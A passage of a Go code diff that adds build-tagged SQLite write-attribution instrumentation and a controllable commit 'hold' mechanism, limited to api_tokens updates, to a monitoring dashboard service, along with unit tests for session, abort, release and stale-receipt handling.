(?)") + if err != nil { + t.Fatal(err) + } + if _, err := statement.Exec("prepared"); err != nil { + t.Fatal(err) + } + if err := statement.Close(); err != nil { + t.Fatal(err) + } + if !sqliteAttributionTrackerHasWrite() { + t.Fatal("prepared explicit insert did not record an atomic sqlite write") + } + if err := transaction.Commit(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteDriverAdapterRejectsUnboundWrite_when_AttributionEnabled(t *testing.T) { + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + _, err := database.Exec("INSERT INTO settings (value) VALUES (?)", "unbound") + if !errors.Is(err, ErrSQLiteAttributionUnboundWrite) { + t.Fatalf("expected unbound write instrumentation error, got %v", err) + } +} + +func TestSQLiteDriverAdapterRejectsUnsupportedDSN(t *testing.T) { + database, err := openSQLiteAttributionTestDB(":memory:") + if err == nil { + err = database.Ping() + } + if database != nil { + t.Cleanup(func() { + if closeErr := database.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + } + if !errors.Is(err, ErrSQLiteAttributionUnsupportedDSN) { + t.Fatalf("expected unsupported DSN error, got %v", err) + } +} + +func openSQLiteAttributionTestDB(path string) (*sql.DB, error) { + registerSQLiteAttributionDriver() + return sql.Open(sqliteAttributionDriverName, path) +} + +func openSQLiteAttributionTestDatabase(t *testing.T) *sql.DB { + t.Helper() + resetSQLiteAttributionForTest() + database, err := openSQLiteAttributionTestDB(sqliteAttributionTestDatabasePath(t)) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := database.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := database.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)"); err != nil { + t.Fatal(err) + } + return database +} + +func sqliteAttributionTestDatabasePath(t *testing.T) string { + t.Helper() + return filepath.Join(t.TempDir(), "dashboard.sqlite") +} + +func sqliteAttributionSettingsCount(t *testing.T, database *sql.DB) int { + t.Helper() + var count int + if err := database.QueryRow("SELECT COUNT(*) FROM settings").Scan(&count); err != nil { + t.Fatal(err) + } + return count +} + +func sqliteAttributionSettingValue(t *testing.T, database *sql.DB) string { + t.Helper() + var value string + if err := database.QueryRow("SELECT value FROM settings LIMIT 1").Scan(&value); err != nil { + t.Fatal(err) + } + return value +} + +func sqliteAttributionConsumeRows(rows *sql.Rows) error { + if rows == nil { + return nil + } + var identifier int64 + for rows.Next() { + if err := rows.Scan(&identifier); err != nil { + closeErr := rows.Close() + return errors.Join(err, closeErr) + } + } + err := rows.Err() + closeErr := rows.Close() + return errors.Join(err, closeErr) +} + +func sqliteAttributionConsumeDriverRows(rows driver.Rows) error { + if rows == nil { + return nil + } + values := make([]driver.Value, len(rows.Columns())) + for { + err := rows.Next(values) + if err != nil { + closeErr := rows.Close() + return errors.Join(err, closeErr) + } + } +} + +func sqliteAttributionTrackerHasWrite() bool { + return sqliteAttributionTrackerWriteEvidence().hasWrite +} + +type sqliteAttributionWriteEvidence struct { + hasWrite bool + write SQLiteWriteObservation +} + +func sqliteAttributionTrackerWriteEvidence() sqliteAttributionWriteEvidence { + tracker := sqliteAttributionTracker.Load() + tracker.mu.Lock() + defer tracker.mu.Unlock() + for _, held := range tracker.transactions { + if held.hasWrite { + return sqliteAttributionWriteEvidence{hasWrite: true, write: held.write} + } + } + return sqliteAttributionWriteEvidence{} +} diff --git a/service/singleton/sqlite_hold_control_agentcompat_linux.go b/service/singleton/sqlite_hold_control_agentcompat_linux.go new file mode 100644 index 00000000..0d878fc1 --- /dev/null +++ b/service/singleton/sqlite_hold_control_agentcompat_linux.go @@ -0,0 +1,176 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "crypto/rand" + "encoding/base64" + "errors" + "io" + "sync" +) + +var ErrSQLiteHoldUnexpectedSelection = errors.New("sqlite hold selected an unexpected write") + +type SQLiteHoldControlState string + +const ( + SQLiteHoldControlStateArmed SQLiteHoldControlState = "armed" + SQLiteHoldControlStateSelected SQLiteHoldControlState = "selected" + SQLiteHoldControlStateFinalizing SQLiteHoldControlState = "finalizing" + SQLiteHoldControlStateReleased SQLiteHoldControlState = "released" + SQLiteHoldControlStateAborted SQLiteHoldControlState = "aborted" +) + +type SQLiteHoldReceipt struct { + ID string `json:"id"` + State SQLiteHoldControlState `json:"state"` +} + +type sqliteHoldControlRecord struct { + receipt SQLiteHoldReceipt + session SQLiteHoldSession +} + +type sqliteHoldControl struct { + mu sync.Mutex + tracker *SQLiteHoldTracker + random io.Reader + record *sqliteHoldControlRecord +} + +func newSQLiteHoldControl(tracker *SQLiteHoldTracker, randomSource io.Reader) *sqliteHoldControl { + return &sqliteHoldControl{tracker: tracker, random: randomSource} +} + +func newProductionSQLiteHoldControl(tracker *SQLiteHoldTracker) *sqliteHoldControl { + return newSQLiteHoldControl(tracker, rand.Reader) +} + +func (control *sqliteHoldControl) ArmNextSQLiteHold() (SQLiteHoldReceipt, error) { + control.mu.Lock() + defer control.mu.Unlock() + identifier, err := control.newReceiptID() + if err != nil { + return SQLiteHoldReceipt{}, err + } + session, err := control.tracker.ArmNextSQLiteHold() + if err != nil { + return SQLiteHoldReceipt{}, err + } + receipt := SQLiteHoldReceipt{ID: identifier, State: SQLiteHoldControlStateArmed} + control.record = &sqliteHoldControlRecord{receipt: receipt, session: session} + return receipt, nil +} + +func (control *sqliteHoldControl) WaitSelected(ctx context.Context, receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return control.wait(ctx, receipt, SQLiteHoldWaitSelected, SQLiteHoldControlStateSelected) +} + +func (control *sqliteHoldControl) WaitFinalizing(ctx context.Context, receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return control.wait(ctx, receipt, SQLiteHoldWaitFinalizing, SQLiteHoldControlStateFinalizing) +} + +func (control *sqliteHoldControl) wait(ctx context.Context, receipt SQLiteHoldReceipt, target SQLiteHoldWaitTarget, state SQLiteHoldControlState) (SQLiteHoldReceipt, error) { + record, err := control.activeRecord(receipt) + if err != nil { + return SQLiteHoldReceipt{}, err + } + snapshot, err := control.tracker.WaitSQLiteHold(ctx, record.session, target) + if err != nil { + return control.terminalReceipt(record, err) + } + if snapshot.Operation != SQLiteOperationUpdate || snapshot.Table != "api_tokens" { + _ = control.tracker.AbortSQLiteHold(record.session) + return control.terminalReceipt(record, ErrSQLiteHoldUnexpectedSelection) + } + return control.updateReceipt(record, state), nil +} + +func (control *sqliteHoldControl) Release(receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + record, err := control.activeRecord(receipt) + if err != nil { + return SQLiteHoldReceipt{}, err + } + if err := control.tracker.ReleaseSQLiteHold(record.session); err != nil { + return control.terminalReceipt(record, err) + } + return control.updateReceipt(record, SQLiteHoldControlStateReleased), nil +} + +func (control *sqliteHoldControl) Abort(receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + record, err := control.activeRecord(receipt) + if err != nil { + return SQLiteHoldReceipt{}, err + } + if err := control.tracker.AbortSQLiteHold(record.session); err != nil { + return control.terminalReceipt(record, err) + } + return control.updateReceipt(record, SQLiteHoldControlStateAborted), nil +} + +func (control *sqliteHoldControl) Snapshot(receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + record, err := control.activeRecord(receipt) + if err != nil { + return SQLiteHoldReceipt{}, err + } + current := control.currentReceipt(record) + if current.State == SQLiteHoldControlStateReleased || current.State == SQLiteHoldControlStateAborted { + return current, nil + } + snapshot, snapshotErr := control.tracker.SQLiteHoldSnapshot(record.session) + if snapshotErr != nil { + if errors.Is(snapshotErr, ErrSQLiteHoldStaleSession) { + return control.updateReceipt(record, SQLiteHoldControlStateAborted), nil + } + return control.terminalReceipt(record, snapshotErr) + } + state := SQLiteHoldControlStateArmed + if snapshot.Finalizing { + state = SQLiteHoldControlStateFinalizing + } else if snapshot.Selected { + state = SQLiteHoldControlStateSelected + } + return control.updateReceipt(record, state), nil +} + +func (control *sqliteHoldControl) currentReceipt(record *sqliteHoldControlRecord) SQLiteHoldReceipt { + control.mu.Lock() + defer control.mu.Unlock() + return record.receipt +} + +func (control *sqliteHoldControl) newReceiptID() (string, error) { + bytes := make([]byte, 32) + if _, err := io.ReadFull(control.random, bytes); err != nil { + return "", err + } + return base64.RawURLEncoding.EncodeToString(bytes), nil +} + +func (control *sqliteHoldControl) activeRecord(receipt SQLiteHoldReceipt) (*sqliteHoldControlRecord, error) { + control.mu.Lock() + defer control.mu.Unlock() + if control.record == nil || control.record.receipt.ID != receipt.ID { + return nil, ErrSQLiteHoldStaleSession + } + return control.record, nil +} + +func (control *sqliteHoldControl) updateReceipt(record *sqliteHoldControlRecord, state SQLiteHoldControlState) SQLiteHoldReceipt { + control.mu.Lock() + defer control.mu.Unlock() + if control.record == record { + control.record.receipt.State = state + } + return record.receipt +} + +func (control *sqliteHoldControl) terminalReceipt(record *sqliteHoldControlRecord, cause error) (SQLiteHoldReceipt, error) { + state := SQLiteHoldControlStateAborted + if cause == nil { + state = SQLiteHoldControlStateReleased + } + return control.updateReceipt(record, state), cause +} diff --git a/service/singleton/sqlite_hold_control_agentcompat_linux_test.go b/service/singleton/sqlite_hold_control_agentcompat_linux_test.go new file mode 100644 index 00000000..10f678c7 --- /dev/null +++ b/service/singleton/sqlite_hold_control_agentcompat_linux_test.go @@ -0,0 +1,111 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "strings" + "testing" +) + +func TestSQLiteHoldControlIssuesOpaqueReceiptAndStalesPriorReceipt(t *testing.T) { + // Given + control := newSQLiteHoldControl(NewSQLiteHoldTracker(), bytes.NewReader(append(bytes.Repeat([]byte{7}, 32), bytes.Repeat([]byte{8}, 32)...))) + + // When + first, firstErr := control.ArmNextSQLiteHold() + if _, abortErr := control.Abort(first); abortErr != nil { + t.Fatal(abortErr) + } + aborted, abortSnapshotErr := control.Snapshot(first) + second, secondErr := control.ArmNextSQLiteHold() + _, staleErr := control.Snapshot(first) + + // Then + if firstErr != nil || secondErr != nil { + t.Fatalf("first=%v second=%v", firstErr, secondErr) + } + if len(first.ID) != 43 || strings.Contains(first.ID, "=") || first.ID == second.ID { + t.Fatalf("opaque receipt IDs = %q, %q", first.ID, second.ID) + } + if !errors.Is(staleErr, ErrSQLiteHoldStaleSession) { + t.Fatalf("old receipt error = %v", staleErr) + } + if abortSnapshotErr != nil || aborted.State != SQLiteHoldControlStateAborted { + t.Fatalf("aborted receipt=%+v err=%v", aborted, abortSnapshotErr) + } +} + +func TestSQLiteHoldControlReadsTerminalStatesAndRejectsUnexpectedSelection(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + control := newSQLiteHoldControl(tracker, bytes.NewReader(bytes.Repeat([]byte{9}, 64))) + receipt, err := control.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + transaction := sqliteHoldTestTransaction(66) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{Operation: SQLiteOperationInsert, Table: "settings", Journal: sqliteHoldTestJournal}); err != nil { + t.Fatal(err) + } + + // When + _, waitErr := control.WaitSelected(context.Background(), receipt) + aborted, snapshotErr := control.Snapshot(receipt) + wire, marshalErr := json.Marshal(aborted) + + // Then + if !errors.Is(waitErr, ErrSQLiteHoldUnexpectedSelection) { + t.Fatalf("unexpected selection error = %v", waitErr) + } + if snapshotErr != nil || aborted.State != SQLiteHoldControlStateAborted { + t.Fatalf("terminal receipt=%+v err=%v", aborted, snapshotErr) + } + if marshalErr != nil { + t.Fatal(marshalErr) + } + for _, forbidden := range []string{"transaction", "connection", "journal", "operation", "table", "path", "origin", "session_id"} { + if strings.Contains(strings.ToLower(string(wire)), forbidden) { + t.Fatalf("opaque receipt leaked %q: %s", forbidden, wire) + } + } +} + +func TestSQLiteHoldControlReadsReleasedReceipt(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + control := newSQLiteHoldControl(tracker, bytes.NewReader(bytes.Repeat([]byte{11}, 32))) + receipt, err := control.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + transaction := sqliteHoldTestTransaction(67) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "api_tokens", Journal: sqliteHoldTestJournal}); err != nil { + t.Fatal(err) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); err != nil { + t.Fatal(err) + } + + // When + _, releaseErr := control.Release(receipt) + released, snapshotErr := control.Snapshot(receipt) + _, abortErr := control.Abort(receipt) + + // Then + if releaseErr != nil || snapshotErr != nil || released.State != SQLiteHoldControlStateReleased { + t.Fatalf("release=%v receipt=%+v snapshot=%v", releaseErr, released, snapshotErr) + } + if !errors.Is(abortErr, ErrSQLiteHoldStaleSession) { + t.Fatalf("abort after release = %v", abortErr) + } +} diff --git a/service/singleton/sqlite_hold_facade_agentcompat_linux.go b/service/singleton/sqlite_hold_facade_agentcompat_linux.go new file mode 100644 index 00000000..5ea67f99 --- /dev/null +++ b/service/singleton/sqlite_hold_facade_agentcompat_linux.go @@ -0,0 +1,24 @@ +//go:build agentcompat && linux + +package singleton + +import "context" + +func ArmNextSQLiteHold() (SQLiteHoldReceipt, error) { + return sqliteAttributionHoldControl.ArmNextSQLiteHold() +} +func WaitSQLiteHoldSelected(ctx context.Context, receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return sqliteAttributionHoldControl.WaitSelected(ctx, receipt) +} +func WaitSQLiteHoldFinalizing(ctx context.Context, receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return sqliteAttributionHoldControl.WaitFinalizing(ctx, receipt) +} +func SnapshotSQLiteHold(receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return sqliteAttributionHoldControl.Snapshot(receipt) +} +func ReleaseSQLiteHold(receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return sqliteAttributionHoldControl.Release(receipt) +} +func AbortSQLiteHold(receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return sqliteAttributionHoldControl.Abort(receipt) +} diff --git a/service/singleton/sqlite_hold_tracker_agentcompat_linux_test.go b/service/singleton/sqlite_hold_tracker_agentcompat_linux_test.go new file mode 100644 index 00000000..8050ed7e --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_agentcompat_linux_test.go @@ -0,0 +1,289 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" + "testing" +) + +var sqliteHoldTestJournal = SQLiteJournalIdentity{ + MountID: 2, DeviceMajor: 8, DeviceMinor: 1, Inode: 13, BirthSeconds: 10, BirthNanoseconds: 20, +} + +func sqliteHoldTestTransaction(id SQLiteTransactionIdentity) SQLiteTransaction { + return SQLiteTransaction{Connection: SQLiteConnectionIdentity(3), Identity: id} +} + +func recordSQLiteHoldTestUpdate(t *testing.T, tracker *SQLiteHoldTracker, transaction SQLiteTransaction) { + t.Helper() + if err := tracker.RecordSQLiteExecution(transaction, SQLiteExecutionOrigin{ + Operation: SQLiteOperationUpdate, Table: "settings", StackHash: 21, FirstNezhaFrame: "singleton.test", + }); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal, + }); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerSelectsFutureCandidateAfterZeroCandidateArm(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + transaction := sqliteHoldTestTransaction(1) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + + // When + recordSQLiteHoldTestUpdate(t, tracker, transaction) + finalization, err := tracker.BeginSQLiteFinalization(transaction) + + // Then + if err != nil { + t.Fatal(err) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerSelectsSingleActiveCandidate(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(2) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + + // When + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + finalization, finalizationErr := tracker.BeginSQLiteFinalization(transaction) + + // Then + if err != nil || finalizationErr != nil { + t.Fatalf("arm=%v finalization=%v", err, finalizationErr) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerAbortsDuplicateCandidates(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first := sqliteHoldTestTransaction(3) + second := sqliteHoldTestTransaction(4) + for _, transaction := range []SQLiteTransaction{first, second} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + } + + // When + _, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + + // Then + if !errors.Is(err, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("expected ambiguous candidate error, got %v", err) + } + if _, err := tracker.BeginSQLiteFinalization(first); !errors.Is(err, ErrSQLiteHoldNotSelected) { + t.Fatalf("expected no selected transaction, got %v", err) + } +} + +func TestSQLiteHoldTrackerStaleReleaseCannotReleaseNewSession(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first := sqliteHoldTestTransaction(5) + if err := tracker.BeginSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, first) + staleSession, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + if err := tracker.AbortSQLiteHold(staleSession); err != nil { + t.Fatal(err) + } + if err := tracker.FinishSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + second := sqliteHoldTestTransaction(6) + if err := tracker.BeginSQLiteTransaction(second); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, second) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + finalization, err := tracker.BeginSQLiteFinalization(second) + if err != nil { + t.Fatal(err) + } + + // When + err = tracker.ReleaseSQLiteHold(staleSession) + + // Then + if !errors.Is(err, ErrSQLiteHoldStaleSession) { + t.Fatalf("expected stale session error, got %v", err) + } + if finalization.Released() { + t.Fatal("stale release released the new session") + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerLinearizesArmBeforeFinalization(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(7) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + + // When + finalization, err := tracker.BeginSQLiteFinalization(transaction) + + // Then + if err != nil { + t.Fatal(err) + } + if finalization.Released() { + t.Fatal("finalization released before its session release") + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteHoldTrackerRollbackNeverWaits(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(8) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + finalization, err := tracker.BeginSQLiteFinalization(transaction) + if err != nil { + t.Fatal(err) + } + + // When + err = tracker.FinishSQLiteTransaction(transaction) + + // Then + if err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); !errors.Is(err, ErrSQLiteHoldAborted) { + t.Fatalf("expected aborted finalization, got %v", err) + } + if err := tracker.ReleaseSQLiteHold(session); !errors.Is(err, ErrSQLiteHoldStaleSession) { + t.Fatalf("expected stale release, got %v", err) + } +} + +func TestSQLiteHoldTrackerAbortUnblocksSelectedFinalization(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(9) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + finalization, err := tracker.BeginSQLiteFinalization(transaction) + if err != nil { + t.Fatal(err) + } + + // When + err = tracker.AbortSQLiteHold(session) + + // Then + if err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); !errors.Is(err, ErrSQLiteHoldAborted) { + t.Fatalf("expected aborted finalization, got %v", err) + } +} + +func TestSQLiteHoldTrackerCleansUpAfterReleasedFinalization(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first := sqliteHoldTestTransaction(10) + if err := tracker.BeginSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, first) + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + finalization, err := tracker.BeginSQLiteFinalization(first) + if err != nil { + t.Fatal(err) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := finalization.Wait(); err != nil { + t.Fatal(err) + } + if err := tracker.FinishSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + second := sqliteHoldTestTransaction(11) + if err := tracker.BeginSQLiteTransaction(second); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, second) + + // When + _, err = tracker.ArmSQLiteHold(sqliteHoldTestJournal) + + // Then + if err != nil { + t.Fatal(err) + } +} diff --git a/service/singleton/sqlite_hold_tracker_control_agentcompat_linux.go b/service/singleton/sqlite_hold_tracker_control_agentcompat_linux.go new file mode 100644 index 00000000..3fa1e4ae --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_control_agentcompat_linux.go @@ -0,0 +1,239 @@ +//go:build agentcompat && linux + +package singleton + +import "context" + +func (tracker *SQLiteHoldTracker) ArmSQLiteHold(journal SQLiteJournalIdentity) (SQLiteHoldSession, error) { + return tracker.armSQLiteHold(SQLiteHoldSelectionModeKnownJournal, journal) +} + +func (tracker *SQLiteHoldTracker) ArmNextSQLiteHold() (SQLiteHoldSession, error) { + return tracker.armSQLiteHold(SQLiteHoldSelectionModeNextWriter, SQLiteJournalIdentity{}) +} + +func (tracker *SQLiteHoldTracker) armSQLiteHold(mode SQLiteHoldSelectionMode, journal SQLiteJournalIdentity) (SQLiteHoldSession, error) { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if tracker.session != nil { + return SQLiteHoldSession{}, ErrSQLiteHoldSessionActive + } + tracker.nextSession++ + tracker.session = &sqliteHoldSessionState{ + id: SQLiteHoldSession{identity: tracker.nextSession}, mode: mode, journal: journal, notify: make(chan struct{}), + } + var candidates []SQLiteTransaction + for transaction, held := range tracker.transactions { + if tracker.isEligibleLocked(held) { + candidates = append(candidates, transaction) + } + } + if len(candidates) > 1 { + tracker.abortSQLiteHoldWithCandidatesLocked(ErrSQLiteHoldAmbiguousCandidate, candidates) + return SQLiteHoldSession{}, ErrSQLiteHoldAmbiguousCandidate + } + if len(candidates) == 1 { + tracker.selectSQLiteHoldLocked(candidates[0]) + } + tracker.setAttributionEnabledLocked(true) + return tracker.session.id, nil +} + +func (tracker *SQLiteHoldTracker) WaitSQLiteHold(ctx context.Context, session SQLiteHoldSession, target SQLiteHoldWaitTarget) (SQLiteHoldSnapshot, error) { + if !target.valid() { + return SQLiteHoldSnapshot{}, ErrSQLiteHoldInvalidWaitTarget + } + for { + tracker.mu.Lock() + if tracker.session == nil || tracker.session.id != session { + if tracker.terminal != nil && tracker.terminal.id == session { + if tracker.terminal.released { + snapshot := SQLiteHoldSnapshot{SessionID: session.ID(), Selected: tracker.terminal.hasSelected, Transaction: tracker.terminal.selected, Finalizing: true, Released: true} + tracker.mu.Unlock() + return snapshot, nil + } + cause := tracker.terminal.cause + tracker.mu.Unlock() + return SQLiteHoldSnapshot{}, cause + } + tracker.mu.Unlock() + return SQLiteHoldSnapshot{}, ErrSQLiteHoldStaleSession + } + if tracker.waitTargetReachedLocked(target) { + snapshot, err := tracker.snapshotLocked(session) + tracker.mu.Unlock() + return snapshot, err + } + notify := tracker.session.notify + tracker.mu.Unlock() + select { + case <-notify: + case <-ctx.Done(): + return SQLiteHoldSnapshot{}, ctx.Err() + } + } +} + +func (tracker *SQLiteHoldTracker) BeginSQLiteFinalization(transaction SQLiteTransaction) (*SQLiteHoldFinalization, error) { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if tracker.session == nil || !tracker.session.hasSelected || tracker.session.selected != transaction { + return nil, ErrSQLiteHoldNotSelected + } + return tracker.beginSQLiteFinalizationLocked(transaction) +} + +func (tracker *SQLiteHoldTracker) BeginSQLiteCommitFinalization(transaction SQLiteTransaction) (*SQLiteHoldFinalization, error) { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if tracker.session != nil && tracker.session.hasSelected && tracker.session.selected == transaction { + return tracker.beginSQLiteFinalizationLocked(transaction) + } + if cause, ok := tracker.causes[transaction]; ok { + return nil, cause + } + return nil, ErrSQLiteHoldNotSelected +} + +func (tracker *SQLiteHoldTracker) ReleaseSQLiteHold(session SQLiteHoldSession) error { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if !tracker.matchesSessionLocked(session) || tracker.session.released { + return ErrSQLiteHoldStaleSession + } + if !tracker.session.hasSelected || tracker.session.finalization == nil { + return ErrSQLiteHoldFinalizationNotStarted + } + tracker.session.released = true + tracker.setAttributionEnabledLocked(false) + close(tracker.session.finalization.done) + tracker.notifySQLiteHoldLocked() + return nil +} + +func (tracker *SQLiteHoldTracker) AbortSQLiteHold(session SQLiteHoldSession) error { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if !tracker.matchesSessionLocked(session) || tracker.session.released { + return ErrSQLiteHoldStaleSession + } + tracker.abortSQLiteHoldLocked(ErrSQLiteHoldAborted) + return nil +} + +func (tracker *SQLiteHoldTracker) SQLiteHoldSnapshot(session SQLiteHoldSession) (SQLiteHoldSnapshot, error) { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if !tracker.matchesSessionLocked(session) { + return SQLiteHoldSnapshot{}, ErrSQLiteHoldStaleSession + } + return tracker.snapshotLocked(session) +} + +func (tracker *SQLiteHoldTracker) snapshotLocked(session SQLiteHoldSession) (SQLiteHoldSnapshot, error) { + snapshot := SQLiteHoldSnapshot{SessionID: session.ID(), Mode: tracker.session.mode, Selected: tracker.session.hasSelected, Journal: tracker.session.journal, Released: tracker.session.released} + if !tracker.session.hasSelected { + return snapshot, nil + } + held := tracker.transactions[tracker.session.selected] + if held == nil { + return SQLiteHoldSnapshot{}, ErrSQLiteHoldNotSelected + } + snapshot.Transaction = held.transaction + if held.hasWrite { + snapshot.Operation, snapshot.Table, snapshot.Journal = held.write.Update.Operation, held.write.Update.Table, held.write.Update.Journal + snapshot.StackHash, snapshot.FirstNezhaFrame = held.write.Origin.StackHash, held.write.Origin.FirstNezhaFrame + } else { + snapshot.Operation, snapshot.Table, snapshot.Journal = held.update.Operation, held.update.Table, held.update.Journal + snapshot.StackHash, snapshot.FirstNezhaFrame = held.origin.StackHash, held.origin.FirstNezhaFrame + } + snapshot.Finalizing = held.finalizing + return snapshot, nil +} + +func (tracker *SQLiteHoldTracker) selectSQLiteHoldLocked(transaction SQLiteTransaction) error { + if !tracker.session.hasSelected { + held := tracker.transactions[transaction] + tracker.session.selected, tracker.session.hasSelected = transaction, true + if tracker.session.mode == SQLiteHoldSelectionModeNextWriter { + tracker.session.journal = held.update.Journal + } + tracker.notifySQLiteHoldLocked() + return nil + } + if tracker.session.selected == transaction { + return nil + } + tracker.abortSQLiteHoldWithCandidatesLocked(ErrSQLiteHoldAmbiguousCandidate, []SQLiteTransaction{tracker.session.selected, transaction}) + return ErrSQLiteHoldAmbiguousCandidate +} + +func (tracker *SQLiteHoldTracker) matchesSessionLocked(session SQLiteHoldSession) bool { + return tracker.session != nil && tracker.session.id == session +} + +func (tracker *SQLiteHoldTracker) activeSessionHasSelectedTransactionLocked(transaction SQLiteTransaction) bool { + return tracker.session != nil && tracker.session.hasSelected && tracker.session.selected == transaction +} + +func (tracker *SQLiteHoldTracker) beginSQLiteFinalizationLocked(transaction SQLiteTransaction) (*SQLiteHoldFinalization, error) { + held, ok := tracker.transactionLocked(transaction) + if !ok || held.finalizing { + return nil, ErrSQLiteHoldFinalizationStarted + } + held.finalizing = true + finalization := &SQLiteHoldFinalization{done: make(chan struct{})} + tracker.session.finalization = finalization + tracker.notifySQLiteHoldLocked() + return finalization, nil +} + +func (tracker *SQLiteHoldTracker) waitTargetReachedLocked(target SQLiteHoldWaitTarget) bool { + switch target { + case SQLiteHoldWaitSelected: + return tracker.session.hasSelected + case SQLiteHoldWaitFinalizing: + return tracker.session.finalization != nil + default: + return false + } +} + +func (target SQLiteHoldWaitTarget) valid() bool { + return target == SQLiteHoldWaitSelected || target == SQLiteHoldWaitFinalizing +} + +// Closing and replacing the channel under mu makes a snapshot-to-wait handoff race-free. +func (tracker *SQLiteHoldTracker) 